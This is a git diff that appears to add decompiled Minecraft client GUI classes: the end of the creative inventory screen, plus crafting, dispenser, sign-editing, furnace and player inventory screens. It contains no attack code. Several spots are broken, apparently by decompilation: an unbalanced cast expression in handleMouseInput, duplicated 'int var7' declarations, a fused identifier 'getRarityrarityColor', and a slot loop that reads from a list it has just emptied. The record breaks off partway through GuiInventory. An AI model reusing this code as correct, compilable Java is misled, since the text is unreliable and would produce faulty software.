+  
+  private void setCurrentCreativeTab(CreativeTabs p_147050_1_)
+  {
+    int var2 = selectedTabIndex;
+    selectedTabIndex = p_147050_1_.getTabIndex();
+    ContainerCreative var3 = (ContainerCreative)inventorySlots;
+    dragSplittingSlots.clear();
+    itemList.clear();
+    p_147050_1_.displayAllReleventItems(itemList);
+    
+    if (p_147050_1_ == CreativeTabs.tabInventory)
+    {
+      Container var4 = mc.thePlayer.inventoryContainer;
+      
+      if (field_147063_B == null)
+      {
+        field_147063_B = inventorySlots;
+      }
+      
+      inventorySlots = com.google.common.collect.Lists.newArrayList();
+      
+      for (int var5 = 0; var5 < inventorySlots.size(); var5++)
+      {
+        CreativeSlot var6 = new CreativeSlot((Slot)inventorySlots.get(var5), var5);
+        inventorySlots.add(var6);
+        
+
+
+
+        if ((var5 >= 5) && (var5 < 9))
+        {
+          int var7 = var5 - 5;
+          int var8 = var7 / 2;
+          int var9 = var7 % 2;
+          xDisplayPosition = (9 + var8 * 54);
+          yDisplayPosition = (6 + var9 * 27);
+        }
+        else if ((var5 >= 0) && (var5 < 5))
+        {
+          yDisplayPosition = 63536;
+          xDisplayPosition = 63536;
+        }
+        else if (var5 < inventorySlots.size())
+        {
+          int var7 = var5 - 9;
+          int var8 = var7 % 9;
+          int var9 = var7 / 9;
+          xDisplayPosition = (9 + var8 * 18);
+          
+          if (var5 >= 36)
+          {
+            yDisplayPosition = 112;
+          }
+          else
+          {
+            yDisplayPosition = (54 + var9 * 18);
+          }
+        }
+      }
+      
+      field_147064_C = new Slot(field_147060_v, 0, 173, 112);
+      inventorySlots.add(field_147064_C);
+    }
+    else if (var2 == CreativeTabs.tabInventory.getTabIndex())
+    {
+      inventorySlots = field_147063_B;
+      field_147063_B = null;
+    }
+    
+    if (searchField != null)
+    {
+      if (p_147050_1_ == CreativeTabs.tabAllSearch)
+      {
+        searchField.setVisible(true);
+        searchField.setCanLoseFocus(false);
+        searchField.setFocused(true);
+        searchField.setText("");
+        updateCreativeSearch();
+      }
+      else
+      {
+        searchField.setVisible(false);
+        searchField.setCanLoseFocus(true);
+        searchField.setFocused(false);
+      }
+    }
+    
+    currentScroll = 0.0F;
+    var3.scrollTo(0.0F);
+  }
+  
+
+
+  public void handleMouseInput()
+    throws IOException
+  {
+    super.handleMouseInput();
+    int var1 = Mouse.getEventDWheel();
+    
+    if ((var1 != 0) && (needsScrollBars()))
+    {
+      int var2 = inventorySlots).itemList.size() / 9 - 5 + 1;
+      
+      if (var1 > 0)
+      {
+        var1 = 1;
+      }
+      
+      if (var1 < 0)
+      {
+        var1 = -1;
+      }
+      
+      currentScroll = ((float)(currentScroll - var1 / var2));
+      currentScroll = MathHelper.clamp_float(currentScroll, 0.0F, 1.0F);
+      ((ContainerCreative)inventorySlots).scrollTo(currentScroll);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    boolean var4 = Mouse.isButtonDown(0);
+    int var5 = guiLeft;
+    int var6 = guiTop;
+    int var7 = var5 + 175;
+    int var8 = var6 + 18;
+    int var9 = var7 + 14;
+    int var10 = var8 + 112;
+    
+    if ((!wasClicking) && (var4) && (mouseX >= var7) && (mouseY >= var8) && (mouseX < var9) && (mouseY < var10))
+    {
+      isScrolling = needsScrollBars();
+    }
+    
+    if (!var4)
+    {
+      isScrolling = false;
+    }
+    
+    wasClicking = var4;
+    
+    if (isScrolling)
+    {
+      currentScroll = ((mouseY - var8 - 7.5F) / (var10 - var8 - 15.0F));
+      currentScroll = MathHelper.clamp_float(currentScroll, 0.0F, 1.0F);
+      ((ContainerCreative)inventorySlots).scrollTo(currentScroll);
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+    CreativeTabs[] var11 = CreativeTabs.creativeTabArray;
+    int var12 = var11.length;
+    
+    for (int var13 = 0; var13 < var12; var13++)
+    {
+      CreativeTabs var14 = var11[var13];
+      
+      if (renderCreativeInventoryHoveringText(var14, mouseX, mouseY)) {
+        break;
+      }
+    }
+    
+
+    if ((field_147064_C != null) && (selectedTabIndex == CreativeTabs.tabInventory.getTabIndex()) && (isPointInRegion(field_147064_C.xDisplayPosition, field_147064_C.yDisplayPosition, 16, 16, mouseX, mouseY)))
+    {
+      drawCreativeTabHoveringText(I18n.format("inventory.binSlot", new Object[0]), mouseX, mouseY);
+    }
+    
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.disableLighting();
+  }
+  
+  protected void renderToolTip(ItemStack itemIn, int x, int y)
+  {
+    if (selectedTabIndex == CreativeTabs.tabAllSearch.getTabIndex())
+    {
+      List var4 = itemIn.getTooltip(mc.thePlayer, mc.gameSettings.advancedItemTooltips);
+      CreativeTabs var5 = itemIn.getItem().getCreativeTab();
+      
+      if ((var5 == null) && (itemIn.getItem() == Items.enchanted_book))
+      {
+        Map var6 = net.minecraft.enchantment.EnchantmentHelper.getEnchantments(itemIn);
+        
+        if (var6.size() == 1)
+        {
+          Enchantment var7 = Enchantment.func_180306_c(((Integer)var6.keySet().iterator().next()).intValue());
+          CreativeTabs[] var8 = CreativeTabs.creativeTabArray;
+          int var9 = var8.length;
+          
+          for (int var10 = 0; var10 < var9; var10++)
+          {
+            CreativeTabs var11 = var8[var10];
+            
+            if (var11.hasRelevantEnchantmentType(type))
+            {
+              var5 = var11;
+              break;
+            }
+          }
+        }
+      }
+      
+      if (var5 != null)
+      {
+        var4.add(1, EnumChatFormatting.BOLD + EnumChatFormatting.BLUE + I18n.format(var5.getTranslatedTabLabel(), new Object[0]));
+      }
+      
+      for (int var12 = 0; var12 < var4.size(); var12++)
+      {
+        if (var12 == 0)
+        {
+          var4.set(var12, getRarityrarityColor + (String)var4.get(var12));
+        }
+        else
+        {
+          var4.set(var12, EnumChatFormatting.GRAY + (String)var4.get(var12));
+        }
+      }
+      
+      drawHoveringText(var4, x, y);
+    }
+    else
+    {
+      super.renderToolTip(itemIn, x, y);
+    }
+  }
+  
+
+
+
+  protected void drawGuiContainerBackgroundLayer(float partialTicks, int mouseX, int mouseY)
+  {
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    net.minecraft.client.renderer.RenderHelper.enableGUIStandardItemLighting();
+    CreativeTabs var4 = CreativeTabs.creativeTabArray[selectedTabIndex];
+    CreativeTabs[] var5 = CreativeTabs.creativeTabArray;
+    int var6 = var5.length;
+    
+
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      CreativeTabs var8 = var5[var7];
+      mc.getTextureManager().bindTexture(creativeInventoryTabs);
+      
+      if (var8.getTabIndex() != selectedTabIndex)
+      {
+        func_147051_a(var8);
+      }
+    }
+    
+    mc.getTextureManager().bindTexture(new ResourceLocation("textures/gui/container/creative_inventory/tab_" + var4.getBackgroundImageName()));
+    drawTexturedModalRect(guiLeft, guiTop, 0, 0, xSize, ySize);
+    searchField.drawTextBox();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    int var9 = guiLeft + 175;
+    var6 = guiTop + 18;
+    var7 = var6 + 112;
+    mc.getTextureManager().bindTexture(creativeInventoryTabs);
+    
+    if (var4.shouldHidePlayerInventory())
+    {
+      drawTexturedModalRect(var9, var6 + (int)((var7 - var6 - 17) * currentScroll), 'è' + (needsScrollBars() ? 0 : 12), 0, 12, 15);
+    }
+    
+    func_147051_a(var4);
+    
+    if (var4 == CreativeTabs.tabInventory)
+    {
+      GuiInventory.drawEntityOnScreen(guiLeft + 43, guiTop + 45, 20, guiLeft + 43 - mouseX, guiTop + 45 - 30 - mouseY, mc.thePlayer);
+    }
+  }
+  
+  protected boolean func_147049_a(CreativeTabs p_147049_1_, int p_147049_2_, int p_147049_3_)
+  {
+    int var4 = p_147049_1_.getTabColumn();
+    int var5 = 28 * var4;
+    byte var6 = 0;
+    
+    if (var4 == 5)
+    {
+      var5 = xSize - 28 + 2;
+    }
+    else if (var4 > 0)
+    {
+      var5 += var4;
+    }
+    
+    int var7;
+    int var7;
+    if (p_147049_1_.isTabInFirstRow())
+    {
+      var7 = var6 - 32;
+    }
+    else
+    {
+      var7 = var6 + ySize;
+    }
+    
+    return (p_147049_2_ >= var5) && (p_147049_2_ <= var5 + 28) && (p_147049_3_ >= var7) && (p_147049_3_ <= var7 + 32);
+  }
+  
+
+
+
+
+  protected boolean renderCreativeInventoryHoveringText(CreativeTabs p_147052_1_, int p_147052_2_, int p_147052_3_)
+  {
+    int var4 = p_147052_1_.getTabColumn();
+    int var5 = 28 * var4;
+    byte var6 = 0;
+    
+    if (var4 == 5)
+    {
+      var5 = xSize - 28 + 2;
+    }
+    else if (var4 > 0)
+    {
+      var5 += var4;
+    }
+    
+    int var7;
+    int var7;
+    if (p_147052_1_.isTabInFirstRow())
+    {
+      var7 = var6 - 32;
+    }
+    else
+    {
+      var7 = var6 + ySize;
+    }
+    
+    if (isPointInRegion(var5 + 3, var7 + 3, 23, 27, p_147052_2_, p_147052_3_))
+    {
+      drawCreativeTabHoveringText(I18n.format(p_147052_1_.getTranslatedTabLabel(), new Object[0]), p_147052_2_, p_147052_3_);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  protected void func_147051_a(CreativeTabs p_147051_1_)
+  {
+    boolean var2 = p_147051_1_.getTabIndex() == selectedTabIndex;
+    boolean var3 = p_147051_1_.isTabInFirstRow();
+    int var4 = p_147051_1_.getTabColumn();
+    int var5 = var4 * 28;
+    int var6 = 0;
+    int var7 = guiLeft + 28 * var4;
+    int var8 = guiTop;
+    byte var9 = 32;
+    
+    if (var2)
+    {
+      var6 += 32;
+    }
+    
+    if (var4 == 5)
+    {
+      var7 = guiLeft + xSize - 28;
+    }
+    else if (var4 > 0)
+    {
+      var7 += var4;
+    }
+    
+    if (var3)
+    {
+      var8 -= 28;
+    }
+    else
+    {
+      var6 += 64;
+      var8 += ySize - 4;
+    }
+    
+    GlStateManager.disableLighting();
+    drawTexturedModalRect(var7, var8, var5, var6, 28, var9);
+    zLevel = 100.0F;
+    itemRender.zLevel = 100.0F;
+    var7 += 6;
+    var8 += 8 + (var3 ? 1 : -1);
+    GlStateManager.enableLighting();
+    GlStateManager.enableRescaleNormal();
+    ItemStack var10 = p_147051_1_.getIconItemStack();
+    itemRender.func_180450_b(var10, var7, var8);
+    itemRender.func_175030_a(fontRendererObj, var10, var7, var8);
+    GlStateManager.disableLighting();
+    itemRender.zLevel = 0.0F;
+    zLevel = 0.0F;
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (id == 0)
+    {
+      mc.displayGuiScreen(new net.minecraft.client.gui.achievement.GuiAchievements(this, mc.thePlayer.getStatFileWriter()));
+    }
+    
+    if (id == 1)
+    {
+      mc.displayGuiScreen(new net.minecraft.client.gui.achievement.GuiStats(this, mc.thePlayer.getStatFileWriter()));
+    }
+  }
+  
+  public int func_147056_g()
+  {
+    return selectedTabIndex;
+  }
+  
+  static class ContainerCreative extends Container
+  {
+    public List itemList = com.google.common.collect.Lists.newArrayList();
+    private static final String __OBFID = "CL_00000753";
+    
+    public ContainerCreative(EntityPlayer p_i1086_1_)
+    {
+      InventoryPlayer var2 = inventory;
+      
+
+      for (int var3 = 0; var3 < 5; var3++)
+      {
+        for (int var4 = 0; var4 < 9; var4++)
+        {
+          addSlotToContainer(new Slot(GuiContainerCreative.field_147060_v, var3 * 9 + var4, 9 + var4 * 18, 18 + var3 * 18));
+        }
+      }
+      
+      for (var3 = 0; var3 < 9; var3++)
+      {
+        addSlotToContainer(new Slot(var2, var3, 9 + var3 * 18, 112));
+      }
+      
+      scrollTo(0.0F);
+    }
+    
+    public boolean canInteractWith(EntityPlayer playerIn)
+    {
+      return true;
+    }
+    
+    public void scrollTo(float p_148329_1_)
+    {
+      int var2 = (itemList.size() + 8) / 9 - 5;
+      int var3 = (int)(p_148329_1_ * var2 + 0.5D);
+      
+      if (var3 < 0)
+      {
+        var3 = 0;
+      }
+      
+      for (int var4 = 0; var4 < 5; var4++)
+      {
+        for (int var5 = 0; var5 < 9; var5++)
+        {
+          int var6 = var5 + (var4 + var3) * 9;
+          
+          if ((var6 >= 0) && (var6 < itemList.size()))
+          {
+            GuiContainerCreative.field_147060_v.setInventorySlotContents(var5 + var4 * 9, (ItemStack)itemList.get(var6));
+          }
+          else
+          {
+            GuiContainerCreative.field_147060_v.setInventorySlotContents(var5 + var4 * 9, null);
+          }
+        }
+      }
+    }
+    
+    public boolean func_148328_e()
+    {
+      return itemList.size() > 45;
+    }
+    
+    protected void retrySlotClick(int p_75133_1_, int p_75133_2_, boolean p_75133_3_, EntityPlayer p_75133_4_) {}
+    
+    public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+    {
+      if ((index >= inventorySlots.size() - 9) && (index < inventorySlots.size()))
+      {
+        Slot var3 = (Slot)inventorySlots.get(index);
+        
+        if ((var3 != null) && (var3.getHasStack()))
+        {
+          var3.putStack(null);
+        }
+      }
+      
+      return null;
+    }
+    
+    public boolean func_94530_a(ItemStack p_94530_1_, Slot p_94530_2_)
+    {
+      return yDisplayPosition > 90;
+    }
+    
+    public boolean canDragIntoSlot(Slot p_94531_1_)
+    {
+      return ((inventory instanceof InventoryPlayer)) || ((yDisplayPosition > 90) && (xDisplayPosition <= 162));
+    }
+  }
+  
+  class CreativeSlot extends Slot
+  {
+    private final Slot field_148332_b;
+    private static final String __OBFID = "CL_00000754";
+    
+    public CreativeSlot(Slot p_i46313_2_, int p_i46313_3_)
+    {
+      super(p_i46313_3_, 0, 0);
+      field_148332_b = p_i46313_2_;
+    }
+    
+    public void onPickupFromSlot(EntityPlayer playerIn, ItemStack stack)
+    {
+      field_148332_b.onPickupFromSlot(playerIn, stack);
+    }
+    
+    public boolean isItemValid(ItemStack stack)
+    {
+      return field_148332_b.isItemValid(stack);
+    }
+    
+    public ItemStack getStack()
+    {
+      return field_148332_b.getStack();
+    }
+    
+    public boolean getHasStack()
+    {
+      return field_148332_b.getHasStack();
+    }
+    
+    public void putStack(ItemStack p_75215_1_)
+    {
+      field_148332_b.putStack(p_75215_1_);
+    }
+    
+    public void onSlotChanged()
+    {
+      field_148332_b.onSlotChanged();
+    }
+    
+    public int getSlotStackLimit()
+    {
+      return field_148332_b.getSlotStackLimit();
+    }
+    
+    public int func_178170_b(ItemStack p_178170_1_)
+    {
+      return field_148332_b.func_178170_b(p_178170_1_);
+    }
+    
+    public String func_178171_c()
+    {
+      return field_148332_b.func_178171_c();
+    }
+    
+    public ItemStack decrStackSize(int p_75209_1_)
+    {
+      return field_148332_b.decrStackSize(p_75209_1_);
+    }
+    
+    public boolean isHere(IInventory p_75217_1_, int p_75217_2_)
+    {
+      return field_148332_b.isHere(p_75217_1_, p_75217_2_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/inventory/GuiCrafting.java b/src/minecraft/net/minecraft/client/gui/inventory/GuiCrafting.java
new file mode 100644
index 0000000..32aa551
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/inventory/GuiCrafting.java
@@ -0,0 +1,46 @@
+package net.minecraft.client.gui.inventory;
+
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.ContainerWorkbench;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.World;
+
+public class GuiCrafting extends GuiContainer
+{
+  private static final ResourceLocation craftingTableGuiTextures = new ResourceLocation("textures/gui/container/crafting_table.png");
+  private static final String __OBFID = "CL_00000750";
+  
+  public GuiCrafting(InventoryPlayer p_i45504_1_, World worldIn)
+  {
+    this(p_i45504_1_, worldIn, BlockPos.ORIGIN);
+  }
+  
+  public GuiCrafting(InventoryPlayer p_i45505_1_, World worldIn, BlockPos p_i45505_3_)
+  {
+    super(new ContainerWorkbench(p_i45505_1_, worldIn, p_i45505_3_));
+  }
+  
+
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY)
+  {
+    fontRendererObj.drawString(I18n.format("container.crafting", new Object[0]), 28, 6, 4210752);
+    fontRendererObj.drawString(I18n.format("container.inventory", new Object[0]), 8, ySize - 96 + 2, 4210752);
+  }
+  
+
+
+
+  protected void drawGuiContainerBackgroundLayer(float partialTicks, int mouseX, int mouseY)
+  {
+    net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(craftingTableGuiTextures);
+    int var4 = (width - xSize) / 2;
+    int var5 = (height - ySize) / 2;
+    drawTexturedModalRect(var4, var5, 0, 0, xSize, ySize);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/inventory/GuiDispenser.java b/src/minecraft/net/minecraft/client/gui/inventory/GuiDispenser.java
new file mode 100644
index 0000000..388d918
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/inventory/GuiDispenser.java
@@ -0,0 +1,44 @@
+package net.minecraft.client.gui.inventory;
+
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ResourceLocation;
+
+public class GuiDispenser extends GuiContainer
+{
+  private static final ResourceLocation dispenserGuiTextures = new ResourceLocation("textures/gui/container/dispenser.png");
+  private final InventoryPlayer field_175376_w;
+  public IInventory field_175377_u;
+  private static final String __OBFID = "CL_00000765";
+  
+  public GuiDispenser(InventoryPlayer p_i45503_1_, IInventory p_i45503_2_)
+  {
+    super(new net.minecraft.inventory.ContainerDispenser(p_i45503_1_, p_i45503_2_));
+    field_175376_w = p_i45503_1_;
+    field_175377_u = p_i45503_2_;
+  }
+  
+
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY)
+  {
+    String var3 = field_175377_u.getDisplayName().getUnformattedText();
+    fontRendererObj.drawString(var3, xSize / 2 - fontRendererObj.getStringWidth(var3) / 2, 6, 4210752);
+    fontRendererObj.drawString(field_175376_w.getDisplayName().getUnformattedText(), 8, ySize - 96 + 2, 4210752);
+  }
+  
+
+
+
+  protected void drawGuiContainerBackgroundLayer(float partialTicks, int mouseX, int mouseY)
+  {
+    net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(dispenserGuiTextures);
+    int var4 = (width - xSize) / 2;
+    int var5 = (height - ySize) / 2;
+    drawTexturedModalRect(var4, var5, 0, 0, xSize, ySize);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/inventory/GuiEditSign.java b/src/minecraft/net/minecraft/client/gui/inventory/GuiEditSign.java
new file mode 100644
index 0000000..80ceb94
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/inventory/GuiEditSign.java
@@ -0,0 +1,176 @@
+package net.minecraft.client.gui.inventory;
+
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.init.Blocks;
+import net.minecraft.network.play.client.C12PacketUpdateSign;
+import net.minecraft.tileentity.TileEntitySign;
+import net.minecraft.util.ChatAllowedCharacters;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+import org.lwjgl.input.Keyboard;
+
+
+
+public class GuiEditSign
+  extends GuiScreen
+{
+  private TileEntitySign tileSign;
+  private int updateCounter;
+  private int editLine;
+  private GuiButton doneBtn;
+  private static final String __OBFID = "CL_00000764";
+  
+  public GuiEditSign(TileEntitySign p_i1097_1_)
+  {
+    tileSign = p_i1097_1_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    buttonList.clear();
+    Keyboard.enableRepeatEvents(true);
+    buttonList.add(this.doneBtn = new GuiButton(0, width / 2 - 100, height / 4 + 120, I18n.format("gui.done", new Object[0])));
+    tileSign.setEditable(false);
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    Keyboard.enableRepeatEvents(false);
+    NetHandlerPlayClient var1 = mc.getNetHandler();
+    
+    if (var1 != null)
+    {
+      var1.addToSendQueue(new C12PacketUpdateSign(tileSign.getPos(), tileSign.signText));
+    }
+    
+    tileSign.setEditable(true);
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    updateCounter += 1;
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    if (enabled)
+    {
+      if (id == 0)
+      {
+        tileSign.markDirty();
+        mc.displayGuiScreen(null);
+      }
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    if (keyCode == 200)
+    {
+      editLine = (editLine - 1 & 0x3);
+    }
+    
+    if ((keyCode == 208) || (keyCode == 28) || (keyCode == 156))
+    {
+      editLine = (editLine + 1 & 0x3);
+    }
+    
+    String var3 = tileSign.signText[editLine].getUnformattedText();
+    
+    if ((keyCode == 14) && (var3.length() > 0))
+    {
+      var3 = var3.substring(0, var3.length() - 1);
+    }
+    
+    if ((ChatAllowedCharacters.isAllowedCharacter(typedChar)) && (fontRendererObj.getStringWidth(var3 + typedChar) <= 90))
+    {
+      var3 = var3 + typedChar;
+    }
+    
+    tileSign.signText[editLine] = new ChatComponentText(var3);
+    
+    if (keyCode == 1)
+    {
+      actionPerformed(doneBtn);
+    }
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, I18n.format("sign.edit", new Object[0]), width / 2, 40, 16777215);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.pushMatrix();
+    GlStateManager.translate(width / 2, 0.0F, 50.0F);
+    float var4 = 93.75F;
+    GlStateManager.scale(-var4, -var4, -var4);
+    GlStateManager.rotate(180.0F, 0.0F, 1.0F, 0.0F);
+    Block var5 = tileSign.getBlockType();
+    
+    if (var5 == Blocks.standing_sign)
+    {
+      float var6 = tileSign.getBlockMetadata() * 360 / 16.0F;
+      GlStateManager.rotate(var6, 0.0F, 1.0F, 0.0F);
+      GlStateManager.translate(0.0F, -1.0625F, 0.0F);
+    }
+    else
+    {
+      int var8 = tileSign.getBlockMetadata();
+      float var7 = 0.0F;
+      
+      if (var8 == 2)
+      {
+        var7 = 180.0F;
+      }
+      
+      if (var8 == 4)
+      {
+        var7 = 90.0F;
+      }
+      
+      if (var8 == 5)
+      {
+        var7 = -90.0F;
+      }
+      
+      GlStateManager.rotate(var7, 0.0F, 1.0F, 0.0F);
+      GlStateManager.translate(0.0F, -1.0625F, 0.0F);
+    }
+    
+    if (updateCounter / 6 % 2 == 0)
+    {
+      tileSign.lineBeingEdited = editLine;
+    }
+    
+    TileEntityRendererDispatcher.instance.renderTileEntityAt(tileSign, -0.5D, -0.75D, -0.5D, 0.0F);
+    tileSign.lineBeingEdited = -1;
+    GlStateManager.popMatrix();
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/inventory/GuiFurnace.java b/src/minecraft/net/minecraft/client/gui/inventory/GuiFurnace.java
new file mode 100644
index 0000000..a203ef8
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/inventory/GuiFurnace.java
@@ -0,0 +1,74 @@
+package net.minecraft.client.gui.inventory;
+
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.tileentity.TileEntityFurnace;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ResourceLocation;
+
+public class GuiFurnace extends GuiContainer
+{
+  private static final ResourceLocation furnaceGuiTextures = new ResourceLocation("textures/gui/container/furnace.png");
+  private final InventoryPlayer field_175383_v;
+  private IInventory tileFurnace;
+  private static final String __OBFID = "CL_00000758";
+  
+  public GuiFurnace(InventoryPlayer p_i45501_1_, IInventory p_i45501_2_)
+  {
+    super(new net.minecraft.inventory.ContainerFurnace(p_i45501_1_, p_i45501_2_));
+    field_175383_v = p_i45501_1_;
+    tileFurnace = p_i45501_2_;
+  }
+  
+
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY)
+  {
+    String var3 = tileFurnace.getDisplayName().getUnformattedText();
+    fontRendererObj.drawString(var3, xSize / 2 - fontRendererObj.getStringWidth(var3) / 2, 6, 4210752);
+    fontRendererObj.drawString(field_175383_v.getDisplayName().getUnformattedText(), 8, ySize - 96 + 2, 4210752);
+  }
+  
+
+
+
+  protected void drawGuiContainerBackgroundLayer(float partialTicks, int mouseX, int mouseY)
+  {
+    net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(furnaceGuiTextures);
+    int var4 = (width - xSize) / 2;
+    int var5 = (height - ySize) / 2;
+    drawTexturedModalRect(var4, var5, 0, 0, xSize, ySize);
+    
+
+    if (TileEntityFurnace.func_174903_a(tileFurnace))
+    {
+      int var6 = func_175382_i(13);
+      drawTexturedModalRect(var4 + 56, var5 + 36 + 12 - var6, 176, 12 - var6, 14, var6 + 1);
+    }
+    
+    int var6 = func_175381_h(24);
+    drawTexturedModalRect(var4 + 79, var5 + 34, 176, 14, var6 + 1, 16);
+  }
+  
+  private int func_175381_h(int p_175381_1_)
+  {
+    int var2 = tileFurnace.getField(2);
+    int var3 = tileFurnace.getField(3);
+    return (var3 != 0) && (var2 != 0) ? var2 * p_175381_1_ / var3 : 0;
+  }
+  
+  private int func_175382_i(int p_175382_1_)
+  {
+    int var2 = tileFurnace.getField(1);
+    
+    if (var2 == 0)
+    {
+      var2 = 200;
+    }
+    
+    return tileFurnace.getField(0) * p_175382_1_ / var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/inventory/GuiInventory.java b/src/minecraft/net/minecraft/client/gui/inventory/GuiInventory.java
new file mode 100644
index 0000000..6b19c97
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/inventory/GuiInventory.java
@@ -0,0 +1,148 @@
+package net.minecraft.client.gui.inventory;
+
+import java.io.IOException;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.achievement.GuiAchievements;
+import net.minecraft.client.gui.achievement.GuiStats;
+import net.minecraft.client.multiplayer.PlayerControllerMP;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.InventoryEffectRenderer;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.entity.RenderManager;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+
+public class GuiInventory extends InventoryEffectRenderer
+{
+  private float oldMouseX;
+  private float oldMouseY;
+  private static final String __OBFID = "CL_00000761";
+  
+  public GuiInventory(EntityPlayer p_i1094_1_)
+  {
+    super(inventoryContainer);
+    allowUserInput = true;
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    if (mc.playerController.isInCreativeMode())
+    {
+      mc.displayGuiScreen(new GuiContainerCreative(mc.thePlayer));
+    }
+    
+    func_175378_g();
+  }
+  
+
+
+
+  public void initGui()
+  {
+    buttonList.clear();
+    
+    if (mc.playerController.isInCreativeMode())
+    {
+      mc.displayGuiScreen(new GuiContainerCreative(mc.thePlayer));
+    }
+    else
+    {
+      super.initGui();
+    }
+  }
+  
+
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY)
+  {
+    fontRendererObj.drawString(I18n.format("container.crafting", new Object[0]), 86, 16, 4210752);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    super.drawScreen(mouseX, mouseY, partialTicks);
+    oldMouseX = mouseX;
+    oldMouseY = mouseY;
+  }
+  
+
+
+
+  protected void drawGuiContainerBackgroundLayer(float partialTicks, int mouseX, int mouseY)
+  {
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(inventoryBackground);
+    int var4 = guiLeft;
+    int var5 = guiTop;
+    drawTexturedModalRect(var4, var5, 0, 0, xSize, ySize);
+    drawEntityOnScreen(var4 + 51, var5 + 75, 30, var4 + 51 - oldMouseX, var5 + 75 - 50 - oldMouseY, mc.thePlayer);
+  }
+  
+
+
+
+  public static void drawEntityOnScreen(int p_147046_0_, int p_147046_1_, int p_147046_2_, float p_147046_3_, float p_147046_4_, EntityLivingBase p_147046_5_)
+  {
+    GlStateManager.enableColorMaterial();
+    GlStateManager.pushMatrix();
+    GlStateManager.translate(p_147046_0_, p_147046_1_, 50.0F);
+    GlStateManager.scale(-p_147046_2_, p_147046_2_, p_147046_2_);
+    GlStateManager.rotate(180.0F, 0.0F, 0.0F, 1.0F);
+    float var6 = renderYawOffset;
+    float var7 = rotationYaw;
+    float var8 = rotationPitch;
+    float var9 = prevRotationYawHead;
+    float var10 = rotationYawHead;
+    GlStateManager.rotate(135.0F, 0.0F, 1.0F, 0.0F);
+    RenderHelper.enableStandardItemLighting();
+    GlStateManager.rotate(-135.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(-(float)Math.atan(p_147046_4_ / 40.0F) * 20.0F, 1.0F, 0.0F, 0.0F);
+    renderYawOffset = ((float)Math.atan(p_147046_3_ / 40.0F) * 20.0F);
